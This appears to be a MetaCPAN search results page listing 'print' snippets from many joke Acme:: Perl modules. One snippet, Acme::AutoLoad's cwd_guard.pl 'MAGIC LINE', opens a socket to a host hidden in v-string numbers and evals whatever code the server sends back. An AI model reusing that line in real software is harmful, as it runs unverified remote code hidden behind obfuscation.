view release on metacpan or search on metacpan
ascii-art.pl view on Meta::CPAN
${_}="rst";;;;;;;
while(<>){print
"Hello",", ",
"world!\n"
if /st/;}
#######
#####
view release on metacpan or search on metacpan
lib/Acme/AsciiEmoji.pm view on Meta::CPAN
=head1 SYNOPSIS
use Acme::AsciiEmoji;
...
print innocent;
# ʘ‿ʘ
=cut
=head1 EXPORT
view release on metacpan or search on metacpan
lib/Acme/AtIncPolice.pm view on Meta::CPAN
return unless grep lc($class) eq lc($_) , @{$op->{use}};
# create warning message
my $watch_msg = '';
my $msg = $self->_output_message($class, $value, \%args);
if(defined $self->{options}->{pkg}){
$watch_msg = sprintf("%s:: %s", @{$self->{options}}{qw/pkg var/});
} else {
$msg =~ s/^ => // if $msg;
}
if ($msg) {
croak $watch_msg . $msg . "\n";
view release on metacpan or search on metacpan
that you may choose to grant warranty protection to some or all
third parties, at your option).
c) If the modified program normally reads commands interactively when
run, you must cause it, when started running for such interactive use
in the simplest and most usual way, to print or display an
announcement including an appropriate copyright notice and a notice
that there is no warranty (or else, saying that you provide a
warranty) and that users may redistribute the program under these
conditions, and telling the user how to view a copy of this General
Public License.
view release on metacpan or search on metacpan
contrib/cwd_guard.pl view on Meta::CPAN
# Program: cwd_guard.pl
# Purpose: Demonstrate use'ing a module directly from CPAN (not installed)
use strict;
# Acme::AutoLoad MAGIC LINE:
use lib do{use IO::Socket;eval<$a>if print{$a=new IO::Socket::INET 82.46.99.88.58.52.52.51}84.76.83.10};
use Cwd qw(cwd);
use Cwd::Guard qw(cwd_guard);
print "1: CWD=[".cwd()."]\n";
{
my $obj = cwd_guard "..";
print "2: CWD=[".cwd()."]\n";
}
print "3: CWD=[".cwd()."]\n";
view release on metacpan or search on metacpan
lib/Acme/AutoloadAll.pm view on Meta::CPAN
# remove last ::
$package =~ s/::$//;
return undef if (exists($seen->{$package}));
print STDERR "Searching '$function' in '$package'...\n" if ($DEBUG);
# check if the current package has the function
my $sub = $package->can($function);
print STDERR "Found!\n" if ($DEBUG && (ref($sub) eq 'CODE'));
return $sub if (ref($sub) eq 'CODE');
$seen->{$package} = 1;
# check sub packages
lib/Acme/AutoloadAll.pm view on Meta::CPAN
}
sub UNIVERSAL::AUTOLOAD {
(my $function = $UNIVERSAL::AUTOLOAD) =~ s/.*:://;
my $sub = find_function($function);
print STDERR "Not found!\n" if ($DEBUG && (ref($sub) ne 'CODE'));
goto &$sub if (ref($sub) eq 'CODE');
}
1;
lib/Acme/AutoloadAll.pm view on Meta::CPAN
use Scalar::Util ();
use Acme::AutoloadAll;
if (looks_like_number(42)) {
print "yay\n";
}
=head1 DESCRIPTION
This module allows you to call any function ever seen by your perl instance.
view release on metacpan or search on metacpan
t/00-load.t view on Meta::CPAN
use Test::More;
plan tests => 1;
BEGIN {
use_ok( 'Acme::Automatix' ) || print "Bail out!\n";
}
diag( "Testing Acme::Automatix $Acme::Automatix::VERSION, Perl $], $^X" );
view release on metacpan or search on metacpan
that you may choose to grant warranty protection to some or all
third parties, at your option).
c) If the modified program normally reads commands interactively when
run, you must cause it, when started running for such interactive use
in the simplest and most usual way, to print or display an
announcement including an appropriate copyright notice and a notice
that there is no warranty (or else, saying that you provide a
warranty) and that users may redistribute the program under these
conditions, and telling the user how to view a copy of this General
Public License.
view release on metacpan or search on metacpan
lib/Acme/BABYMETAL.pm view on Meta::CPAN
return @members;
}
sub shout {
my ($self) = @_;
print "We are BABYMETAL DEATH!!\n";
}
1;
__END__
view release on metacpan or search on metacpan
lib/Acme/BLACKJ/Utils.pm view on Meta::CPAN
Perhaps a little code snippet.
use Acme::BLACKJ::Utils;
my $foo = Acme::BLACKJ::Utils::sum(1,10);
print "$foo\n"; # 11
...
=head1 SUBROUTINES/METHODS
=head2 sum
view release on metacpan or search on metacpan
# --- MakeMaker dist_core section:
dist : $(DIST_DEFAULT) $(FIRST_MAKEFILE)
$(NOECHO) $(ABSPERLRUN) -l -e 'print '\''Warning: Makefile possibly out of date with $(VERSION_FROM)'\''' \
-e ' if -e '\''$(VERSION_FROM)'\'' and -M '\''$(VERSION_FROM)'\'' < -M '\''$(FIRST_MAKEFILE)'\'';' --
tardist : $(DISTVNAME).tar$(SUFFIX)
$(NOECHO) $(NOOP)
# --- MakeMaker dist_ci section:
ci :
$(PERLRUN) "-MExtUtils::Manifest=maniread" \
-e "@all = keys %{ maniread() };" \
-e "print(qq{Executing $(CI) @all\n}); system(qq{$(CI) @all});" \
-e "print(qq{Executing $(RCS_LABEL) ...\n}); system(qq{$(RCS_LABEL) @all});"
# --- MakeMaker distmeta section:
distmeta : create_distdir metafile
$(NOECHO) cd $(DISTVNAME) && $(ABSPERLRUN) -MExtUtils::Manifest=maniadd -e 'exit unless -e q{META.yml};' \
-e 'eval { maniadd({q{META.yml} => q{Module YAML meta-data (added by MakeMaker)}}) }' \
-e ' or print "Could not add META.yml to MANIFEST: $${'\''@'\''}\n"' --
$(NOECHO) cd $(DISTVNAME) && $(ABSPERLRUN) -MExtUtils::Manifest=maniadd -e 'exit unless -f q{META.json};' \
-e 'eval { maniadd({q{META.json} => q{Module JSON meta-data (added by MakeMaker)}}) }' \
-e ' or print "Could not add META.json to MANIFEST: $${'\''@'\''}\n"' --
# --- MakeMaker distsignature section:
distsignature : create_distdir
$(NOECHO) cd $(DISTVNAME) && $(ABSPERLRUN) -MExtUtils::Manifest=maniadd -e 'eval { maniadd({q{SIGNATURE} => q{Public-key signature (added by MakeMaker)}}) } ' \
-e ' or print "Could not add SIGNATURE to MANIFEST: $${'\''@'\''}\n"' --
$(NOECHO) cd $(DISTVNAME) && $(TOUCH) SIGNATURE
cd $(DISTVNAME) && cpansign -s
view release on metacpan or search on metacpan
lib/Acme/BOPE.pm view on Meta::CPAN
if ( $par{'DEBUG'} ) {
filter($_);
Perl::Tidy::perltidy(source => \$_, destination => \$_)
if eval "require Perl::Tidy";
print;
}
# my $DEBUG = $par{DEBUG} if $par{DEBUG};
# return unless $DEBUG;
# filter($_);
# Perl::Tidy::perltidy(source => \$_, destination => \$_)
# if eval "require Perl::Tidy";
# print if $DEBUG;
# exit;
},
code_no_comments => \&filter;
sub filter {
$_ = "\$senhor = \$\$_;$/" . $_;
$_ = "\$| = 1;$/" . $_;
s#pelot[ãa]o, cantar hino#print Acme::BOPE::canta_hino#gi;
s#Capit[ãa]o Nascimento#print Acme::BOPE::fato#gi; # mudar por frase legal
s{\b(?:naum|não|nao|nunca|jamais)\s+(?:ser(?:á|ão)|é|eh)\b}{ne}gi;
s{\b(?:naum|não|nao|nunca|jamais)\b}{not}gi;
s{\bser(?:á|ão|a|ah|ao)\b}{eq}gi;
s{\b(?:é|eh)\b}{=}gi;
lib/Acme/BOPE.pm view on Meta::CPAN
s#\bent[ãa]o\b#\{#gi;
s#\bfaz isso aqui[:]?\b#\{#gi;
s#\bsen[ãa]o\b#}else{\n#gi;
s#\bestamos entendidos[?!]*\b#}#gi;
s#\bos? senhor(?:es)? est(?:[aã]o|[aá]) fazendo (?:o )?seu instrutor muito feliz(?:...)#}#gi;
s{\bfala(?: agora)?[!:]*}{print}gi;
s{\bgrita[!:]*\b}{print}gi;
s{\bvai dar merda,?}{warn}gi;
s{
\b(?:v(?:ou|ai)\s+)?gritar\s+(?:em|n[oa]|ao?) (.*?):
}
{
(my $file = $1) =~ s/\W/_/g;
$file =~ s/^_+|_+$//g;
my $fh = uc $file;
"open $fh, \">>$file\";
print \{$fh\}"
}giex;
s{\bchega[!]*\b}{last}gi;
s{\bpára[!]*\b}{last}gi;
lib/Acme/BOPE.pm view on Meta::CPAN
s{\b(?:eu )?desisto\b}{exit}gi;
s{\bdesistiu\b}{= undef}gi;
s{\bbota na conta do papa\b}{exit}gi;
s{\be\b}{and}gi;
s{\b(?:ent[ãa]o\s+)?senta o dedo nessa porra\b}{print "Caveira meu capitao!"}gi;
# variaveis
no warnings;
s#\bsenhor(?:\s+(\d{2,}))?,#\$senhor = \\\$_$1;\n#gi;
use warnings;
s{\b(?:senhor|o)\s+(\d{2,})\b}{sprintf"\$_%s ", defined $1?$1:""}gie;
s{([^\$])senhor|voc[êe]}{$1\$\$senhor}gi;
# perguntas
s#(100\s*%\s+(\d{2,})?\?+)#
print "$1";
chomp(\$_$2 = <>);
\$_$2 =~ /^100%|sim|s/ &&#gi;
s#
((?:a?onde (?:es)t[aá]|cad[êe])\s+[oa]s?\s+(\w+)[?!]+)
#
my $var;
($var = $2) =~ s/\W/_/g;
$var = lc($var);
qq:
print "$1";
chomp(\$$var = <>);
print "0" . (int(rand 9) + 1) . ", pega a vassoura!\$/";
:;
#gixe;
my @quotes = m#"(.*?)"#gsm;
s#"(.*?)"#sprintf qq/"%d"/, my $i++#gsme;
# palavras que são ignoradas dentro do código
foreach my $ignora (@ignoradas){
s{\b$ignora\b}{}gi;
}
lib/Acme/BOPE.pm view on Meta::CPAN
'Capitão Nascimento disse pra Will Smith depois de ver "MIB": O senhor é um fanfarrão! Homens de Preto é o caralho, só o BOPE usa preto! Seu viado!',
'Capitão Nascimento dorme com um travesseiro debaixo de uma arma.',
'Capitão Nascimento sabe exatamente onde está Carmen Sandiego',
'Principais causas de morte no Brasil: 1. Ataque do coração, 2. Cap. Nascimento, 3.Câncer; mas a opção 1 é maior porque a maioria dos bandidos morre do coração quando vêem o capitão.',
);
print $fatos[int(rand(@fatos))];
}
42;
__END__
lib/Acme/BOPE.pm view on Meta::CPAN
$_01 = "fanfarrao";
if ($_01 eq "moleque") {
die "seu viado";
}
else {
print "Caveira, meu capitao!\n" and exit;
warn "vai morrer gente";
$_01 = undef;
}
lib/Acme/BOPE.pm view on Meta::CPAN
Caso ainda seja novo no batalhão, aqui vão algumas equivalências:
=over 4
=item * I<(print)> - fala, grita
=item * I<(warn "MENSAGEM")> - vai dar merda "MENSAGEM"
=item * I<(system "COMANDO")> - vai pra guerra "COMANDO"
view release on metacpan or search on metacpan
lib/Acme/Backwards.pm view on Meta::CPAN
keyword sselnu (Expr $test, /.+?;/ $code, OKAY @next) {_backwards('unless', $test, $code)._process_backwards(@next);};
}
sub _process_backwards {join' ',map{$_=~m/(fisle|esle)(.*)$/;return"_$1"->($2)}@_;}
sub _esle {_backwards('else','',shift)}
sub _fisle {shift=~m/\s*((?&PerlExpression))\s*(.*?;) $PPR::GRAMMAR/gxm;_backwards('elsif', $1, $2);}
sub _backwards {scalar@_>3?sprintf"%s %s %s { %s }",@_:sprintf"%s %s { %s }",@_;}
1;
__END__
lib/Acme/Backwards.pm view on Meta::CPAN
esle die $str;
my $int = 0;
rof (qw/1 2 3/) $int += $_;
rof my $var (qw/4 5 6/) $int += $var;
rof my $nest (qw/7 8/) fi ($nest == 7) print "one"; esle print "line";
=head1 EXPORTS
=head2 fi
view release on metacpan or search on metacpan
lib/Acme/BadFont.pm view on Meta::CPAN
use warnings;
use Acme::BadFont;
my $f = "1OO";
print $f + 1, "\n"; # 101
my $d = "I.S";
print $d * 2, "\n"; # 3
=head1 DESCRIPTION
If the font in your editor is bad, this module will help by fixing the numbers
in your strings.
view release on metacpan or search on metacpan
t/00-load.t view on Meta::CPAN
#!perl -T
use Test::More tests => 1;
BEGIN {
use_ok( 'Acme::Be::Modern' ) || print "Bail out!
";
}
diag( "Testing Acme::Be::Modern $Acme::Be::Modern::VERSION, Perl $], $^X" );
view release on metacpan or search on metacpan
my $cool = 0;
for (@_) {
eval "require $_";
$caller->import($_) unless $@;
}
print STDERR "You are ", ($cool / @_), "\% cool\n";
}
1;
__END__
view release on metacpan or search on metacpan
$VERSION = '0.02';
sub _push
{ $ip++;
print "pushing $numbers[$ip]\n" if $debug;
push(@stack,$numbers[$ip]);
}
sub _pop
{ my $foo = pop @stack;
print "popping $foo\n" if $debug;
return $foo;
}
sub _add
{ my($first,$second) = (pop @stack,pop @stack);
my $sum = $first + $second;
push(@stack,$sum);
print "adding $first and $second and pushing $sum on stack \n" if $debug;
}
sub _input
{ print "accepting user input and pushing onto stack\n" if $debug;
push(@stack,ord(getc));
}
sub _output
{ my $foo = pop @stack;
print "outputting ",chr($foo),"\n" if $debug;
print(chr($foo));
}
sub _subtract
{ my ($first,$second) = (pop @stack,pop @stack);
my $diff = $first - $second;
print "subtraction $first and $second and pushing $diff on stack\n" if $debug;
push(@stack,$diff)
}
sub _swap
{ my $a = pop(@stack);
my $b = pop(@stack);
print "swapping $a and $b\n"if $debug;
push(@stack,$a,$b);
}
sub _duplicate
{ print "duplicating $stack[$#stack]\n" if $debug;
push(@stack,$stack[$#stack]);
}
sub _jump_forward_if_zero
{ my $n = pop(@stack);
$ip++;
if($n == 0)
{ $ip += $numbers[$ip]; print "jump $n words forward\n" if $debug; }
}
sub _jump_forward_if_not_zero
{ my $n = pop(@stack);
$ip++;
if($n != 0)
{ $ip += $numbers[$ip]; print "jump $n words forward\n" if $debug; }
}
sub _jump_back_if_zero
{ my $n = pop(@stack);
$ip++;
if($n == 0) { $ip -= $numbers[$ip]; print "jump $n words backward\n" if $debug; }
}
sub _jump_back_if_not_zero
{ my $n = pop(@stack);
$ip++;
if($n != 0) { $ip -= $numbers[$ip]; print "jump $n words backward\n" if $debug; }
}
sub _halt
{ $ip = $#numbers+1;
print "halting...\n" if $debug;
exit;
}
FILTER
{ $_ =~ s/[^\w\s]//g;
5 Push the next word value onto stack
6 Pop the first value from stack
7 Add the two topmost values from stack and push the result on stack
8 Read a character from input and push the ASCII value on stack
9 Read the first value from stack and print the character value
10 Subtract the two topmost values from stack and push the result back on stack
11 Swap the two topmost values from stack
12 Duplicate the first value from stack and push it onto stack
13 Move the Instruction Pointer X values forward if the first value on stack is zero (X being the next word value)
14 Move the Instruction Pointer X values forward if the first value on stack is not zero (X being the next word value)
view release on metacpan or search on metacpan
lib/Acme/BeyondPerl/ToSQL.pm view on Meta::CPAN
##############################################################################
# Use From Objects
##############################################################################
sub _calc_by_rdbm {
if($DEBUG){ print "$_[0]\n"; }
_float_handler( undef, $Dbh->selectrow_array($_[0]) );
}
sub _nomethod {
lib/Acme/BeyondPerl/ToSQL.pm view on Meta::CPAN
use Acme::BeyondPerl::ToSQL ("dbi:SQLite:dbname=acme_db","","");
my $value = 5;
print 2 + $value , "\n"; # 7
print 1.2 - 0.2 , "\n"; # 1
print 9 / 2 , "\n"; # 4.5
# DEBUG MODE
# use Acme::BeyondPerl::ToSQL ({
# dbi => ["dbi:SQLite:dbname=acme_db","",""], debug => 1,
view release on metacpan or search on metacpan
# Check if we have item 42
say 'Found it!' if $bf->get(42);
# Statistics
printf "Progress: %.2f%%\r", ($bf->count / $bf->size * 100);
# Export raw binary for network transfer
my $raw = $bf->data;
```
view release on metacpan or search on metacpan
t/Acme-BlahBlahBlah.t view on Meta::CPAN
# Before `make install' is performed this script should be runnable with
# `make test'. After `make install' it should work as `perl Acme-BlahBlahBlah.t'
#########################
# change 'tests => 1' to 'tests => last_test_to_print';
use Test::More tests => 1;
BEGIN { use_ok('Acme::BlahBlahBlah') };
#########################
view release on metacpan or search on metacpan
blarghymcblarghblargh.pl view on Meta::CPAN
#!/usr/bin/perl
use Acme::Blarghy::McBlarghBlargh;
print blargh();
view release on metacpan or search on metacpan
lib/Acme/Bleach/Numerically.pm view on Meta::CPAN
package Acme::Bleach::Numerically;
use 5.008001;
use strict;
use warnings;
our $VERSION = sprintf "%d.%02d", q$Revision: 0.4 $ =~ /(\d+)/g;
our $MAX_SIZE = 0x7fff_ffff;
use Math::BigInt lib => 'GMP'; # faster if there, fallbacks if not
use Math::BigFloat;
use Math::BigRat;
lib/Acme/Bleach/Numerically.pm view on Meta::CPAN
$@ =~ s/\(eval \d+\)/$0/eg;
die $@;
}
}
open my $out, ">:raw", $0 or die "$0 : $!";
print $out
"use ", __PACKAGE__, ";\n",
str2num($src), "\n";
}
exit;
}
lib/Acme/Bleach/Numerically.pm view on Meta::CPAN
=head1 SYNOPSIS
# To bleach your script numerically
use Acme::Bleach::Numerically;
print "Hello, world!\n";
# Or do your own bleaching
use Acme::Bleach::Numerically qw/num2str str2num/;
my $world = str2num(qq{print "hello, world!\n";})
=head1 DESCRIPTION
Georg Cantor has found that you can squeeze the whole world between
zero and one. Many say he went insane because of that but the reality
view release on metacpan or search on metacpan
demo/demo_DWIM.pl view on Meta::CPAN
print "In the pre-DWIM light...\n";
use Acme::DWIM;
my ($x) = +("Hullo " x 3 . "world" & "~" x 30) =~ /(.*)/;
$x =~ tr/tnv/uow/;
print $x;
view release on metacpan or search on metacpan
lib/Acme/BloodType.pm view on Meta::CPAN
$mary = Acme::BloodType->new({ genotype => "AA" });
$bill = Acme::BloodType->new({ phenotype => "O" });
$baby = $mary->cross($bill);
print "It's a ", $baby->get_bloodtype, "!\n";
=cut
my $alleles = [ "O", "A", "B" ];
my $phenotypes = [ "O", "A", "B", "AB" ];
view release on metacpan or search on metacpan
lib/Acme/BooK/Is/My/Bitch.pm view on Meta::CPAN
no strict 'refs';
*{$method} = sub {
my $th = ref $theme ? $theme->[rand @$theme] : $theme;
my @args;
@args = $filter->( metaname( $th => $qty ) ) while !@args;
return sprintf $template, @args;
};
}
sub available_quotes { return sort keys %methods }
view release on metacpan or search on metacpan
t/author-pod-coverage.t view on Meta::CPAN
#!perl
BEGIN {
unless ($ENV{AUTHOR_TESTING}) {
print qq{1..0 # SKIP these tests are for testing by the author\n};
exit
}
}
# This file was automatically generated by Dist::Zilla::Plugin::PodCoverageTests.
view release on metacpan or search on metacpan
t/01.boom.t view on Meta::CPAN
$SIG{BUS} = $SIG{SEGV} = sub {
print "1..1\nok 1\n";
exit 0;
};
eval q{ use Acme::Boom };
$" = qq{\n# };
print STDERR "# $@\n";
die FAIL;
view release on metacpan or search on metacpan
t/00-load.t view on Meta::CPAN
use Test::More;
plan tests => 1;
BEGIN {
use_ok( 'Acme::Both::MakefilePL::And::BuildPL' ) || print "Bail out!\n";
}
diag( "Testing Acme::Both::MakefilePL::And::BuildPL $Acme::Both::MakefilePL::And::BuildPL::VERSION, Perl $], $^X" );
view release on metacpan or search on metacpan
lib/Acme/BottomsUp.pm view on Meta::CPAN
use Acme::BottomsUp;
@arr # first, start w/ numbers
grep { $_ % 2 } # then get the odd ones
map { $_**3 } # then cube each one
join ":", # and glue together
print # lastly, display result
;
print "ok";
no Acme::BottomsUp;
=head1 DESCRIPTION
This module allows you to write multi-line perl statements in reverse order so that it "reads better". For example, normally one would write the code from the SYNOPSIS as:
my @arr = (1..10);
print # lastly, display result
join ":", # and glue together
map { $_**3 } # then cube each one
grep { $_ % 2 } # then get the odd ones
@arr # first, start with numbers
;
view release on metacpan or search on metacpan
examples/countdown.pl view on Meta::CPAN
#!/usr/bin/env perl
use Acme::Brainfuck qw/verbose/;
print "Countdown commencing...\n";
++++++++++[>+>+<<-]
>>+++++++++++++++++++++++++++++++++++++++++++++++<<
++++++++++[>>.-<.<-]
print "We have liftoff!\n";